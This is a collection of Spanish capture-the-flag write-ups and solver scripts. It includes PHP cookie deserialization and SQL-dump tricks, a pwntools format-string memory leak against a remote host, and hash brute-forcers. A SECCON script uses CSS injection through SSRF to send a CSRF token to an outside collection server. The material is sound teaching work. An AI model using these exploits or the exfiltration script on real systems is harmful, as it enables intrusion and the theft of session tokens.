https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2016/web2-javascript/img/mojojojo-terminal.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/README.md: -------------------------------------------------------------------------------- 1 | ## Gamma-GPS - Web - 337 Points 2 | 3 | ``` 4 | We are testing our new system. The Planet Express Ship will be able to trace the best route between 2 planets in a few seconds, but we are trying to make it secure first! It seems unbreakable, isn't it? 5 | 6 | http://gamma-gps.nn9ed.ka0labs.org/ 7 | 8 | ``` 9 | 10 | ### Login 11 | La web nos presenta un login de un entorno de Testing. Utilizamos credenciales comunes, consiguiendo acceder con `test:test`. 12 | 13 | ![](img/gammagps-01.png) 14 | 15 | 16 | ### Aplicación Planet Express 17 | Una vez accedemos podemos navegar por varias paginas de la aplicación. 18 | 19 | ![](img/gammagps-02.png) 20 | 21 | ### Devel Debug 22 | 23 | En el panel de Devel nos indica que solo se puede acceder en *modo debug*. Si analizamos la cookie de sesión, vemos que se trata de un serializado en base64. 24 | 25 | `a:2:{s:4:"user";s:4:"test";s:5:"debug";s:1:"0"}` 26 | 27 | Modificamos el valor de debug a '1' y volvemos a codificarlo en base64. 28 | 29 | ```php 30 | $search_term) 41 | { 42 | list($table, $column) = explode(':', $sql_column, 2); 43 | 44 | $stm = $dbh->prepare('SELECT `'. $column .'` FROM `'. $table .'` WHERE `'. $column .'` LIKE ? || "%"'); 45 | $stm->bindValue(1, $search_term); 46 | $stm->execute(); 47 | $res =$stm->fetchAll(PDO::FETCH_COLUMN); 48 | 49 | die(json_encode($res)); 50 | } 51 | 52 | 53 | ?> 54 | ``` 55 | 56 | ![](img/gammagps-devel-debug.png) 57 | 58 | ### Bug en Autocompletado 59 | 60 | En el formulario para introducir los planetas de origen y destino existe una función de autocompletado, la cual utiliza el código que hemos obtenido previamente. 61 | 62 | ![](img/gammagps-03.png) 63 | 64 | 65 | ### Bypass 66 | Una de las limitaciones en el código es no poder utilizar el caracter `_`. 67 | 68 | Al estar contenido en el nombre de una variable, PHP convierte algunos caracteres reservados a `_`. Podemos usar espacios, puntos, o la llave `[` una única vez. 69 | 70 | 71 | 72 | ### DUMP! 73 | 74 | `sqlite.master:sql -> SELECT sql FROM sqlite_master` 75 | 76 | ![](img/gammagps-sql.png) 77 | 78 | 79 | `FLAG` 80 | 81 | ![](img/gammagps-flag.png) 82 | -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/gamma-gps-source.php: -------------------------------------------------------------------------------- 1 | $search_term) 12 | { 13 | list($table, $column) = explode(':', $sql_column, 2); 14 | 15 | $stm = $dbh->prepare('SELECT `'. $column .'` FROM `'. $table .'` WHERE `'. $column .'` LIKE ? || "%"'); 16 | $stm->bindValue(1, $search_term); 17 | $stm->execute(); 18 | $res =$stm->fetchAll(PDO::FETCH_COLUMN); 19 | 20 | die(json_encode($res)); 21 | } 22 | 23 | 24 | ?> -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-01.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-02.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-02.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-03.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-03.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-devel-debug.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-devel-debug.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-flag.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-sql.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-sql.png -------------------------------------------------------------------------------- /navajanegra-2019/Gamma-GPS/img/gammagps-users.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Gamma-GPS/img/gammagps-users.png -------------------------------------------------------------------------------- /navajanegra-2019/MoonCasino/README.md: -------------------------------------------------------------------------------- 1 | ## Moon Casino - Web - 53 Points 2 | 3 | ``` 4 | Our casino is under construction. Warm up yourself with this easy challenge! 5 | 6 | http://casino.nn9ed.ka0labs.org/ 7 | ``` 8 | 9 | ![](img/mooncasino-01.png) 10 | 11 | 12 | ``` 13 | 14 | 15 | Moon Casino (under construction) 16 | 21 | 22 | 23 | 24 | 25 | 26 | ``` 27 | 28 | ![](img/mooncasino-02-source.png) 29 | 30 | [código fuente](mooncasino-source.php) 31 | 32 | 33 | 34 | ### Acertar con rand() 35 | 36 | ``` 37 | rand() === $_POST['guess'] 38 | ``` 39 | Al utilizar una comparación estricta con `===` es imposible cumplir esta igualdad, al ser `rand()` un entero y `$_POST['guess']` un string (o un array). 40 | 41 | 42 | ### Serializando 43 | 44 | Podemos crear un objeto en el serializado para invocar a la clase `casino_debug`, además aprovechamos para modificar la variable `$var` por una variable de sesión que podemos llegar a controlar. 45 | 46 | `O:12:"casino_debug":1:{s:3:"var";s:3:"bet";}` 47 | 48 | Lo debemos enviar en base64 en la cookie `debug=TzoxMjoiY2FzaW5vX2RlYnVnIjoxOntzOjM6InZhciI7czozOiJiZXQiO30=` 49 | 50 | 51 | ### Lectura en '/' 52 | El siguiente paso es conseguir escribir la ruta del fichero con la flag en la variable de sesión `bet` 53 | 54 | ``` 55 | POST /index.php?action=bet 56 | bet=initrd.img&guess[]=patatas 57 | ``` 58 | 59 | Anulando el MD5 con un *Array*, conseguimos leer directamente ficheros en el directorio raiz. Sin embargo no hay ficheros de utilidad para conseguir la flag. 60 | 61 | 62 | ### Lectura del archivo secret.php 63 | 64 | La función `md5($_POST['guess'], TRUE)` devuelve 16 caracteres en formato binario, para conseguir leer en el directorio de la aplicación podemos buscar un valor que termine en `/..`, 65 | esto haría que la ruta tuviera esta forma `/var/www/html/XXXXXXXXXXXXX/../secret.php` 66 | 67 | Con el siguiente script hacemos fuerza bruta en local 68 | ```php 69 | var]); 17 | } 18 | } 19 | 20 | 21 | if (!empty($_GET['action']) && $_GET['action'] == "debug") { 22 | echo base64_decode($_COOKIE['debug']); 23 | unserialize(base64_decode($_COOKIE['debug'])); 24 | exit(); 25 | } 26 | 27 | 28 | if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) { 29 | if (strpos($_POST['bet'], "/") !== false) { 30 | echo "HACK ATTEMPT!!!eleven!!1!"; 31 | exit(); 32 | } 33 | $_SESSION['path'] = __FILE__; 34 | $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet']; 35 | 36 | // Unfair :( 37 | if (rand() === $_POST['guess']) { 38 | echo "You win:" . file_get_contents("secret.php"); 39 | } 40 | else { 41 | echo "You lose :)"; 42 | } 43 | } 44 | ?> 45 | 46 | 47 | Moon Casino (under construction) 48 | 53 | 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /navajanegra-2019/Oracle/app.js: -------------------------------------------------------------------------------- 1 | async function createhtml(msg) { 2 | if (msg !="") { 3 | let r = await fetch("/createhtml", { 4 | headers: { 5 | 'Accept': 'application/json', 6 | 'Content-Tipe': 'application/json' 7 | }, 8 | method: "POST", 9 | body: JSON.stringify({html: msg}) 10 | }); 11 | let html = await r.text(); 12 | return html 13 | } 14 | } 15 | 16 | async function adminsearch(q) { 17 | if (q != "") { 18 | let r = await fetch("/admin/search/" + encodeURIComponent(q)); 19 | let html = await r.text(); 20 | return html; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /navajanegra-2019/Oracle/img/oracle-v1-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/navajanegra-2019/Oracle/img/oracle-v1-flag.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/README.md: -------------------------------------------------------------------------------- 1 | # CTF Nullcon 2018 - Exploiting 1 2 | 3 | Exploitation Question 1 (200 pts) 4 | ``` 5 | Exploit the server at 35.170.14.27:9001 6 | Flag is in env $PWNFLAG 7 | ``` 8 | 9 | ```bash 10 | # file pwn1-uhoh.bin 11 | pwn1-uhoh.bin: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=2dce6781d919e201114e4896b4e80e7fc4306dc2, stripped 12 | ``` 13 | 14 | Este binario esta compilado para una arquitectura PowerPC, lo que nos dificulta un poco su análisis. 15 | 16 | ![](img/exp1-001.png) 17 | 18 | El programa acepta 3 instrucciones distintas, *set*, *get* y *exit*. La instrucción *set* se construye con 2 parámetros y *get* con uno. 19 | 20 | ![](img/exp1-source.png) 21 | 22 | Una vez decompilado el código, observamos como la función *set* parece ser vulnerable a *format strings*. Utilizamos el siguiente código para extraer datos de la memoria. 23 | 24 | ```python 25 | import binascii 26 | from pwn import * 27 | 28 | def get(i): 29 | r.sendline('set A %' + str(i) + '$x') 30 | r.recvuntil('> ').strip() 31 | r.sendline('get A') 32 | rec = r.recvuntil('> ').split('\n') 33 | value = rec[1] 34 | 35 | try: 36 | print "%d|%s|%s" % ( i, value, binascii.unhexlify(value) ) 37 | except: 38 | print "%d|%s|" % ( i, value ) 39 | 40 | 41 | r = remote('35.170.14.27',9001) 42 | r.recvuntil('> ').strip() 43 | 44 | for i in range(380): 45 | get(i) 46 | ``` 47 | 48 | Extracción de memoria del proceso 49 | 50 | ![](img/exp1-002.png) 51 | 52 | En la memoria se observan las variables de entorno 53 | 54 | ![](img/exp1-003.png) 55 | 56 | Modificamos el script para concatenar y mostrar el flag: 57 | 58 | ![](img/exp1-004.png) 59 | 60 | 61 | Thanks to [@javierprtd](https://twitter.com/javierprtd) 62 | -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/img/exp1-001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/nullcon-2018/exploiting1/img/exp1-001.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/img/exp1-002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/nullcon-2018/exploiting1/img/exp1-002.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/img/exp1-003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/nullcon-2018/exploiting1/img/exp1-003.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/img/exp1-004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/nullcon-2018/exploiting1/img/exp1-004.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/img/exp1-source.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/nullcon-2018/exploiting1/img/exp1-source.png -------------------------------------------------------------------------------- /nullcon-2018/exploiting1/nullcon2018-exp1.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | from pwn import * 3 | 4 | def get(i): 5 | r.sendline('set A %' + str(i) + '$x') 6 | r.recvuntil('> ') 7 | r.sendline('get A') 8 | rec = r.recvuntil('> ').split('\n') 9 | value = rec[1] 10 | 11 | try: 12 | print "%d|%s|%s" % ( i, value, binascii.unhexlify(value) ) 13 | except: 14 | print "%d|%s|" % ( i, value ) 15 | 16 | 17 | r = remote('35.170.14.27',9001) 18 | r.recvuntil('> ').strip() 19 | 20 | for i in range(380): 21 | get(i) -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/ctf.hex: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/ctf.hex -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/01-usage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/01-usage.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/02-ctf-hex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/02-ctf-hex.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/03-fail.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/03-fail.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/angr1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/angr1.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/hash-code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/hash-code.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/hash-modified.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/hash-modified.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/hash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/hash.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/print-gdb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/print-gdb.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/print.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/print.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/img/solution1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/img/solution1.png -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/secadmin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/secadmin-2017/reversing-angr/secadmin -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/secadmin-angr.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import logging 3 | import claripy 4 | 5 | def main(): 6 | proj = angr.Project('secadmin', load_options={'auto_load_libs': False}) 7 | 8 | argv = [proj.filename] 9 | argv.append('ctf.hex') 10 | 11 | sym_arg = claripy.BVS('sym_arg', 8*7) 12 | argv.append(sym_arg) 13 | 14 | state = proj.factory.entry_state(args=argv, concrete_fs=True) 15 | 16 | for byte in sym_arg.chop(8): 17 | state.add_constraints(byte >= 'a') 18 | state.add_constraints(byte <= 'z') 19 | 20 | avoid = (0x400dab, # usage 21 | 0x400f03, # memory 22 | 0x400e0c) # illegar char 23 | 24 | print("Launching exploration") 25 | sm = proj.factory.simulation_manager(state, threads=16) 26 | 27 | 28 | def check(state): 29 | #print("FIND: %s" % state) 30 | find = 0x400b49 31 | if (state.ip.args[0] == find): 32 | BV_rbp = state.memory.load( state.regs.rbp - 10, 1 ) 33 | xrbp = state.solver.eval(BV_rbp) 34 | print("RBP-10: 0x%02x" % xrbp) 35 | return True if xrbp == 0x2d else False 36 | else: 37 | return False 38 | 39 | ex = sm.explore(find=check, avoid=avoid) 40 | 41 | # Get stdout 42 | found = ex.found 43 | 44 | if( len(found)>0 ): 45 | found = ex.found[0] 46 | result = found.solver.eval(argv[2], cast_to=str) 47 | else: 48 | result = "Couldn't find any paths which satisfied our conditions." 49 | 50 | return result 51 | 52 | if __name__ in '__main__': 53 | print(main()) 54 | -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/secadmin-bruteforce-6+3.py: -------------------------------------------------------------------------------- 1 | from itertools import product 2 | import string 3 | 4 | def hash(password): 5 | x = 1337 6 | for c in password: 7 | x = 33*x + ord(c) 8 | return x%pow(2,32) 9 | 10 | 11 | search = 0x45c84173 12 | 13 | for key6 in product(string.lowercase, repeat=6): 14 | diff = search - hash(key6 + ('a','a','a')) 15 | if diff >= 0 and diff <= 28076: 16 | for key3 in product(string.lowercase, repeat=3): 17 | if hash(key6 + key3) == search: 18 | print("%s" % (''.join(key6+key3))) 19 | break 20 | -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/secadmin-bruteforce-recursive.py: -------------------------------------------------------------------------------- 1 | from itertools import product 2 | import string 3 | 4 | _2e32 = pow(2,32) 5 | 6 | def hash(password): 7 | x = 1337 8 | for c in password: 9 | x = 33*x + ord(c) 10 | return x%_2e32 11 | 12 | def calcdiff(n): 13 | x = 25 14 | for c in range(0, n-1): 15 | x = 33*x + 25 16 | return x 17 | 18 | 19 | def brute(search, cur, n, nmax): 20 | ndiff = calcdiff(nmax-n+1) 21 | for key in product(string.lowercase): 22 | if cur is None: 23 | key2 = key 24 | else: 25 | key2 = cur + key 26 | 27 | if ndiff > _2e32: 28 | brute(search, key2, n+1, nmax) 29 | 30 | else: 31 | out = hash(key2 + tuple(('a',) * (nmax-n))) 32 | diff = (search - out + _2e32)%_2e32 33 | if diff >= 0 and diff <= ndiff: 34 | if n < nmax-1: 35 | brute(search, key2, n+1, nmax) 36 | else: 37 | out = hash(key2 + ('a',)) 38 | diff = search - out 39 | if diff >= 0 and diff <= calcdiff(0): 40 | lastchr = (chr( ord('a') + diff),) 41 | print("%s" % (''.join(key2 + lastchr))) 42 | 43 | 44 | search = 0x45c84173 45 | 46 | for i in range(1, 9+1): 47 | brute(search, None, 1, i) 48 | -------------------------------------------------------------------------------- /secadmin-2017/reversing-angr/secadmin-bruteforce.py: -------------------------------------------------------------------------------- 1 | from itertools import product 2 | import string 3 | 4 | def hash(password): 5 | x = 1337 6 | for c in password: 7 | x = 33*x + ord(c) 8 | return x%pow(2,32) 9 | 10 | 11 | search = 0x45c84173 12 | 13 | for key1 in product(string.lowercase, repeat=3): 14 | out = hash(key1 + ('a','a','a','a','a','a')) 15 | diff = (search - out + 4294967296)%4294967296 16 | if diff >= 0 and diff <= 1008959350: 17 | for key2 in product(string.lowercase): 18 | out = hash(key1 + key2 + ('a','a','a','a','a')) 19 | diff = (search - out + 4294967296)%4294967296 20 | if diff >= 0 and diff <= 30574525: 21 | for key3 in product(string.lowercase): 22 | out = hash(key1 + key2 + key3 + ('a','a','a','a')) 23 | diff = (search - out + 4294967296)%4294967296 24 | if diff >= 0 and diff <= 926500: 25 | for key4 in product(string.lowercase): 26 | out = hash(key1 + key2 + key3 + key4 + ('a','a','a')) 27 | diff = (search - out + 4294967296)%4294967296 28 | if diff >= 0 and diff <= 28075: 29 | for key5 in product(string.lowercase): 30 | out = hash(key1 + key2 + key3 + key4 + key5 + ('a','a')) 31 | diff = (search - out + 4294967296)%4294967296 32 | if diff >= 0 and diff <= 850: 33 | for key6 in product(string.lowercase): 34 | out = hash(key1 + key2 + key3 + key4 + key5 + key6 + ('a',)) 35 | diff = (search - out + 4294967296)%4294967296 36 | if diff >= 0 and diff <= 25: 37 | lastchar = (chr( ord('a') + diff),) 38 | print("%s" % (''.join(key1 + key2 + key3 + key4 + key5 + key6 + lastchar))) -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-001.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-001.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-002.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-003.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-004.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-004.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-005.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-005.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-006.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-006.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-007.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-007.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-008.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-008.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-009.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-009.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-010.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-010.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-011.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-011.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-012.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-012.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/img/ghostkingdom-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/seccon-2018/GhostKingdom/img/ghostkingdom-flag.png -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/seccon-ghostkingdom.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from base64 import b64encode 3 | from urllib import quote as urlencode 4 | from time import sleep 5 | import requests 6 | 7 | PORT_NUMBER = 8080 8 | exfilturl = 'http://fenix.sistec.es:%s' % PORT_NUMBER 9 | element = 'input[name="csrf"]' 10 | chars = '0123456789abcdef' 11 | 12 | def payload(pre, post): 13 | css = '' 14 | for c in chars: 15 | css += '%s[value^="%s"]{--e0:url(%s/l?pre=%s)}\n' % (element, pre + c, exfilturl, pre + c) 16 | #css += '%s[value$="%s"]{--s0:url(%s/l?post=%s)}\n' % (element, c + post, exfilturl, c + post) 17 | 18 | css += '%s{background:var(--e0)}\n' % element 19 | #css += '%s{border-image:var(--s0)}\n' % element 20 | css += '%s[value="%s"]{background:url("%s/e?%s")}\n' % (element, pre+post, exfilturl, pre+post) 21 | css += '%s[value="%s"]{background:url("%s/e?%s")}\n' % (element, pre[:-1]+post, exfilturl, pre[:-1]+post) 22 | 23 | return css 24 | 25 | 26 | def pwn(): 27 | global end 28 | print('\n[+] LOGIN') 29 | login = 'http://ghostkingdom.pwn.seccon.jp/?user=patatas&pass=fritas&action=login' 30 | r = requests.get(login) 31 | cookies = r.cookies 32 | print("Cookie %s" % r.cookies['CGISESSID']) 33 | 34 | print('\n[+] SSRF LOGIN') 35 | login = 'http://l.mydomain.com/?user=patatas&pass=fritas&action=login' 36 | screenshot_login = 'http://ghostkingdom.pwn.seccon.jp/?url=' + urlencode(login) + '&action=sshot2' 37 | r = requests.get(screenshot_login, cookies=r.cookies) 38 | 39 | print('\n[+] EXFILT COOKIE') 40 | while(end==False): 41 | sleep(30) 42 | print("\nScrenshot!") 43 | send_msg = 'http://l.mydomain.com/?css=' + urlencode(b64encode("@import url(%s/s);" % exfilturl)) + '%2&msg=test&action=msgadm2' 44 | screenshot_exfil = 'http://ghostkingdom.pwn.seccon.jp/?url=' + urlencode(send_msg) + '&action=sshot2' 45 | r = requests.get(screenshot_exfil, cookies=r.cookies) 46 | 47 | 48 | from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer 49 | from SocketServer import ThreadingMixIn 50 | import threading 51 | # https://stackoverflow.com/questions/14088294/multithreaded-web-server-in-python 52 | 53 | class myHandler(BaseHTTPRequestHandler): 54 | 55 | def do_GET(self): 56 | global post 57 | global pre 58 | global end 59 | 60 | sendReply = False 61 | mimetype='text/css' 62 | if self.path.startswith('/s'): 63 | if end: 64 | response = '' 65 | else: 66 | print("WORD %s..%s" % (pre,post)) 67 | response = payload(pre, post) 68 | sendReply = True 69 | 70 | 71 | elif self.path.startswith('/l'): 72 | leak = self.path.replace('/l?','') 73 | if leak.startswith('pre='): 74 | pre = leak.replace('pre=','') 75 | elif leak.startswith('post='): 76 | post = leak.replace('post=','') 77 | word = leak 78 | print("WORD %s..%s" % (pre,post)) 79 | response = 'PWNED!' 80 | sendReply = True 81 | 82 | elif self.path.startswith('/e'): 83 | word = self.path.replace('/e?','') 84 | print("\n --- END ---\n") 85 | print("COOKIE: %s\n" % word) 86 | end = True 87 | return 88 | 89 | if sendReply == True: 90 | self.send_response(200) 91 | self.send_header('Content-type',mimetype) 92 | self.end_headers() 93 | self.wfile.write(response) 94 | else: 95 | self.send_error(404,'File Not Found: %s' % self.path) 96 | return 97 | 98 | class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): 99 | """Handle requests in a separate thread.""" 100 | 101 | 102 | def main(): 103 | global post 104 | global pre 105 | global end 106 | 107 | post = '' 108 | pre = '' 109 | end = False 110 | 111 | try: 112 | server = ThreadedHTTPServer(('', PORT_NUMBER), myHandler) 113 | print 'Started httpserver on port ' , PORT_NUMBER 114 | z = threading.Thread(target=pwn) 115 | z.start() 116 | server.serve_forever() 117 | 118 | except KeyboardInterrupt: 119 | print '^C received, shutting down the web server' 120 | server.socket.close() 121 | sys.exit() 122 | 123 | 124 | if __name__ == "__main__": 125 | main() -------------------------------------------------------------------------------- /seccon-2018/GhostKingdom/solve.py: -------------------------------------------------------------------------------- 1 | import sys 2 | from base64 import b64encode 3 | from urllib import quote as urlencode 4 | 5 | if len(sys.argv)>1: 6 | inicio = sys.argv[1] 7 | else: 8 | inicio = '' 9 | 10 | element = 'input[name="csrf"]' 11 | exfilturl = 'http://mydomain.com' 12 | chars = '0123456789abcdef' 13 | 14 | payload = '' 15 | for c in chars: 16 | value = inicio + c 17 | payload += '%s[value^="%s"]{background:url("%s/%s");}\n' % (element, value, exfilturl, value+'_') 18 | 19 | send_msg_url = 'http://l.mydomain.com/?css=' + urlencode(b64encode(payload)) + '%2&msg=test&action=msgadm2' 20 | screenshot_exfil_url = 'http://ghostkingdom.pwn.seccon.jp/?url=' + urlencode(send_msg_url) + '&action=sshot2' 21 | print(screenshot_exfil_url) 22 | -------------------------------------------------------------------------------- /swamp-ctf-2019/cartographers-capture/README.md: -------------------------------------------------------------------------------- 1 | # 